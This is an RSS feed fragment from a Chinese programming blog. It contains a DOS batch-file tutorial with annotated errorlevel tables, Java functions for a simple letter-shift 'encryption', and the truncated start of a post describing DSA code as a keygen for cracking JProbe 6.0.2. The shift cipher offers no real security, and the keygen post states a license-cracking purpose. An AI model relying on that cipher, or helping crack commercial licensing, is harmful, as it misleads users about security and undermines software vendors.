指定要创建的选项列表。默认列表是 "YN"。 <br />/N         在提示符中隐藏选项列表。提示前面的消息得到显示， <br />        选项依旧处于启用状态。 <br />/CS       允许选择分大小写的选项。在默认情况下，这个工具 <br />        是不分大小写的。 <br />/T   timeout   做出默认选择之前，暂停的秒数。可接受的值是从 0 <br />        到 9999。如果指定了 0，就不会有暂停，默认选项 <br />        会得到选择。 <br />/D   choice   在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 <br />        项指定的一组选择中; 同时，必须用 /T 指定 nnnn。 <br />/M   text     指定提示之前要显示的消息。如果没有指定，工具只 <br />        显示提示。 <br />/?         显示帮助消息。 <br />注意: <br />ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 <br />择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择， <br />该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的 <br />ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 <br />的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降 <br />序排列。 <br />示例: <br />CHOICE /? <br />CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />CHOICE /T 10 /C ync /CS /D y <br />CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。" <br />CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。" <br />==== willsort 编注 ==================================================== <br />我列出win98下choice的用法帮助, 已资区分 <br />Waits for the user to choose one of a set of choices. <br />等待用户选择一组待选字符中的一个 <br />CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] <br />/C[:]choices Specifies allowable keys. Default is YN <br />    指定允许的按键(待选字符), 默认为YN <br />/N     Do not display choices and ? at end of prompt string. <br />    不显示提示字符串中的问号和待选字符 <br />/S     Treat choice keys as case sensitive. <br />    处理待选字符时大小写敏感 <br />/T[:]c,nn   Default choice to c after nn seconds <br />    在 nn 秒后默认选择 c <br />text     Prompt string to display <br />    要显示的提示字符串 <br />ERRORLEVEL is set to offset of key user presses in choices. <br />ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 <br />================================================================ <br />如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />屏幕上会显示： <br />确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]? </p>
		<p>例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br />@echo off <br />choice /C dme /M "defrag,mem,end" <br />if errorlevel 3 goto end <br />if errorlevel 2 goto mem <br />if errorlevel 1 goto defrag <br />:defrag <br />c:\dos\defrag <br />goto end <br />:mem <br />mem <br />goto end <br />:end <br />echo good bye <br />此批处理运行后，将显示“defrag,mem,end[D,M,E]?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br /> <br /> 四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br />语法： <br />对一组文件中的每一个文件执行某个特定命令。 <br />FOR %%variable IN (set) DO command [command-parameters] <br />%%variable 指定一个单一字母可替换的参数。 <br />(set)   指定一个或一组文件。可以使用通配符。 <br />command   指定对每个文件执行的命令。 <br />command-parameters <br />    为特定命令指定参数或命令行开关。 <br />例如一个批处理文件中有一行: <br />for %%c in (*.bat *.txt) do type %%c <br />则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 <br />==== willsort 编注 ==================================================== <br />需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. <br />当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. <br />===============================================================＝ <br />批处理示例 <br />1. IF-EXIST <br />1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br />@echo off <br />IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br />IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br />然后运行它： <br />C:\&gt;TEST1.BAT <br />如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。 <br />2) 接着再建立一个test2.bat文件，内容如下： <br />@ECHO OFF <br />IF EXIST \%1 TYPE \%1 <br />IF NOT EXIST \%1 ECHO \%1 does not exist <br />执行: <br />C:\&gt;TEST2 AUTOEXEC.BAT <br />该命令运行结果同上。 <br />说明： <br />(1) IF EXIST 是用来测试文件是否存在的，格式为 <br />IF EXIST [路径+文件名] 命令 <br />(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br />==== willsort 编注 ==================================================== <br />DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. <br />================================================================ <br />3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br />@echo off <br />IF "%1" == "A" ECHO XIAO <br />IF "%2" == "B" ECHO TIAN <br />IF "%3" == "C" ECHO XIN <br />如果运行： <br />C:\&gt;TEST3 A B C <br />屏幕上会显示: <br />XIAO <br />TIAN <br />XIN <br />如果运行： <br />C:\&gt;TEST3 A B <br />屏幕上会显示 <br />XIAO <br />TIAN <br />在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br />2、IF-ERRORLEVEL <br />建立TEST4.BAT，内容如下： <br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />然后执行文件: <br />C:\&gt;TEST4 <br />如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。 <br />IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。 <br />因此下面的批处理文件是错误的： <br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br />IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br />IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br />IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br />无论拷贝是否成功，后面的： <br />未找到拷贝文件 <br />用户通过ctrl-c中止拷贝操作 <br /> <br /> 预置错误阻止文件拷贝操作 <br />拷贝过程中写盘错误 <br />都将显示出来。 <br />以下就是几个常用命令的返回值及其代表的意义： <br />backup <br />0 备份成功 <br />1 未找到备份文件 <br />2 文件共享冲突阻止备份完成 <br />3 用户用ctrl-c中止备份 <br />4 由于致命的错误使备份操作中止 <br />diskcomp <br />0 盘比较相同 <br />1 盘比较不同 <br />2 用户通过ctrl-c中止比较操作 <br />3 由于致命的错误使比较操作中止 <br />4 预置错误中止比较 <br />diskcopy <br />0 盘拷贝操作成功 <br />1 非致命盘读/写错 <br />2 用户通过ctrl-c结束拷贝操作 <br />3 因致命的处理错误使盘拷贝中止 <br />4 预置错误阻止拷贝操作 <br />format <br />0 格式化成功 <br />3 用户通过ctrl-c中止格式化处理 <br />4 因致命的处理错误使格式化中止 <br />5 在提示“proceed with format（y/n）?”下用户键入n结束 <br />xcopy <br />0 成功拷贝文件 <br />1 未找到拷贝文件 <br />2 用户通过ctrl-c中止拷贝操作 <br />4 预置错误阻止文件拷贝操作 <br />5 拷贝过程中写盘错误 <br />==== willsort 编注 ==================================================== <br />chkdsk <br />0   未找到错误 <br />255 找到一个或多个错误 <br />choice <br />0   用户按下ctrl+c/break <br />1   用户按下第一个键 <br />255 检测到命令行中的错误条件 <br />其它 用户按下的有效字符在列表中的位置 <br />defrag <br />0   碎片压缩成功 <br />1   出现内部错误 <br />2   磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇 <br />3   用户用Ctrl+C退出了DEFRAG <br />4   出现一般性错误 <br />5   DEFRAG在读簇时遇到错误 <br />6   DEFRAG在写簇时遇到错误 <br />7   分配空间有错 <br />8   内存错 <br />9   没有足够空间来压缩磁盘碎片 <br />deltree <br />0   成功地删除一个目录 <br />diskcomp <br />0   两盘相同 <br />1   发现不同 <br />2   按CTRL+C 终止了比较 <br />3   出现严重错误 <br />4   出现初始化错误 <br />find <br />0   查找成功且至少找到了一个匹配的字符串 <br />1   查找成功但没找到匹配的字符串 <br />2   查找中出现了错误 <br />keyb <br />0   键盘定义文件装入成功 <br />1   使用了非法的键盘代码，字符集或语法 <br />2   键盘定义文件坏或未找到 <br />4   键盘、监视器通讯时出错 <br />5   要求的字符集未准备好 <br />move <br />0   成功地移动了指定的文件 <br />1   发生了错误 <br />msav /N <br />86   检查到了病毒 <br />replace <br />0   REPLACE成功地替换或加入了文件 <br />1   MS-DOS版本和REPLACE不兼容 <br />2   REPLACE找不到源文件 <br />3   REPLACE找不到源路径或目标路径 <br />5   不能存取要替换的文件 <br />8   内存不够无法执行REPLACE <br />11   命令行句法错误 <br />restore <br />0   RESTORE成功地恢复了文件 <br />1   RESTORE找不到要恢复的文件 <br />3   用户按CTRL+C终止恢复过程 <br />4   RESTORE因错误而终止 <br />scandisk <br />0   ScanDisk在它检查的驱动器上未检测到任何错误 <br />1   由于命令行的语法不对，不能运行ScanDisk <br />2   由于内存用尽或发生内部错误，ScanDisk意外终止 <br />3   用户让ScanDisk中途退出 <br />4   进行盘面扫描时，用户决定提前退出 <br />254 ScanDisk找到磁盘故障并已全部校正 <br />255 ScanDisk找到磁盘故障，但未能全部校正 <br />setver <br />0   SETVER成功地完成了任务 <br />1   用户指定了一个无效的命令开关 <br />2   用户指定了一个非法的文件名 <br />3   没有足够的系统内存来运行命令 <br />4   用户指定了一个非法的版本号格式 <br />5   SETVER在版本表中未找到指定的项 <br />6   SETVER未找到SETVER.EXE文件 <br />7   用户指定了一个非法的驱动器 <br />8   用户指定了太多的命令行参数 <br />9   SETVER检测到丢失了命令行参数 <br />10   在读SETVER.EXE文件时，SETVER检测到发生错误 <br />11   SETVER.EXE文件损坏 <br />12   指定的SETVER.EXE文件不支持版本表 <br />13   版本表中没有足够的空间存放新的项 <br />14   在写SETVER.EXE文件时SETVER检测到发生错误 <br />================================================================ <br />3、IF STRING1 == STRING2 <br />建立TEST5.BAT，文件内容如下： <br />@echo off <br />IF "%1" == "A" FORMAT A: <br />执行： <br />C:\&gt;TEST5 A <br />屏幕上就出现是否将A:盘格式化的内容。 <br />注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。 <br />如：if [%1]==[A] 或者 if %1*==A* <br />5、GOTO <br />建立TEST6.BAT，文件内容如下： <br />@ECHO OFF <br />IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br />GOTO _DONE <br />:_COPY <br />COPY C:\AUTOEXEC.BAT D:\ <br />:_DONE <br />注意： <br />(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 <br />(2) 标号的命名规则与文件名的命名规则相同。 <br />(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。 <br />==== willsort 编注 ==================================================== <br />1)标号也称作标签(label) <br />2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 <br />3)当无法区别两个标签时, 将跳转至位置最靠前的标签 <br />================================================================ <br />6、FOR <br />建立C:\TEST7.BAT，文件内容如下： <br />@ECHO OFF <br />FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C <br />运行： <br />C:\&gt;TEST7 <br />执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。 <br /> </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/102369.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-03-07 13:04 <a href="http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简单的字符转换和反转换函数</title><link>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 07 Feb 2007 00:55:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/98478.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/98478.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/98478.html</trackback:ping><description><![CDATA[
		<p>加密解密时可以用到，只支持小写字母的转换。<br /><br /> private String dmix(String str1)<br />    {<br />        int MAX_COUNT = 20;<br />        char ca[] = str1.toCharArray();<br />        int count = 0;<br />        for(int i = 0; i &lt; ca.length; i++)<br />        {<br />            int a = ca[i] - count;<br />            ca[i] = (char)a;<br />            if(ca[i] &lt; 'a')<br />                ca[i] += '\032';<br />            count = ++count % MAX_COUNT;<br />        }</p>
		<p>        StringBuffer sb = new StringBuffer();<br />        sb.append(ca);<br />        return sb.toString();<br />    }<br />    public String mix(String str1)<br />    {<br />     int MAX_COUNT = 20;<br />        char ca[] = str1.toCharArray();<br />        int count = 0;<br />        for(int i = 0; i &lt; ca.length; i++)<br />        {<br />         int a=0;<br />            a = ca[i] + count;<br />            ca[i] = (char)a;<br />            if(ca[i] &gt; 'z')<br />                ca[i] -= '\032';<br />            count = ++count % MAX_COUNT;<br />        }</p>
		<p>        StringBuffer sb = new StringBuffer();<br />        sb.append(ca);<br />        return sb.toString();<br />    }<br /></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/98478.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-02-07 08:55 <a href="http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java DSA 数字签名</title><link>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 27 Dec 2006 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/90219.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/90219.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/90219.html</trackback:ping><description><![CDATA[
		<p>        在下面的代码中，把DSA的公钥和私钥保存在文件中，要使用该代码你需要先得到DSA算法的公钥和私钥才行。其实下面的代码就是JProbe 6.0.2 不完整分析的注册机，本打算在看雪论坛混片精华，分析到后来才发现注册文件在二进制代码中有多处验证，这不是我的强项，再加上年末事情较多，所以